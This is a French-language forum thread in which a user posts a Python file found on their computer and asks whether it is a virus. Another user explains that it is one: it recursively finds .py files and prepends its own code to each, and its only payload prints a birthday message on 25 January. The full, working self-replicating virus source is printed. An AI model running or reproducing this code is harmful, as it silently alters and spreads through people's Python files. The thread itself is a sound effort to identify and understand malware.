Discussion :

[progammaster]

Bonjour j'ai trouver un fichier .py sur mon pc et je ne sais pas si s'est un virus :

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/python
import os
import datetime
SIGNATURE = "CRANKLIN PYTHON VIRUS"
def search(path):
    filestoinfect = []
    filelist = os.listdir(path)
    for fname in filelist:
        if os.path.isdir(path+"/"+fname):
            filestoinfect.extend(search(path+"/"+fname))
        elif fname[-3:] == ".py":
            infected = False
            for line in open(path+"/"+fname):
                if SIGNATURE in line:
                    infected = True
                    break
            if infected == False:
                filestoinfect.append(path+"/"+fname)
    return filestoinfect
def infect(filestoinfect):
    virus = open(os.path.abspath(__file__))
    virusstring = ""
    for i,line in enumerate(virus):
        if i>=0 and i <39:
            virusstring += line
    virus.close
    for fname in filestoinfect:
        f = open(fname)
        temp = f.read()
        f.close()
        f = open(fname,"w")
        f.write(virusstring + temp)
        f.close()
def bomb():
    if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:
        print "HAPPY BIRTHDAY CRANKLIN!"
filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)
bomb()

es que quelqu'un avec plus d’expérience pourrait me dire si s'est un virus et a quoi il sert ?
merci et bonne journée

[BufferBob]

salut,

es que quelqu'un avec plus d’expérience pourrait me dire si s'est un virus

il a une procédure d'infection, à chaque fois qu'il est exécuté il cherche des fichier .py et se réplique dedans en mode prepend (s'ajoute lui même au début du script python infecté), il possède une charge utile qui ne fait qu'afficher HAPPY BIRTHDAY CRANKLIN!
on peut considérer que c'est un virus, le code est par ailleurs assez mauvais.

et a quoi il sert ?

à rien, souhaiter un bon anniversaire peut-être ?

[progammaster]

Merci beaucoup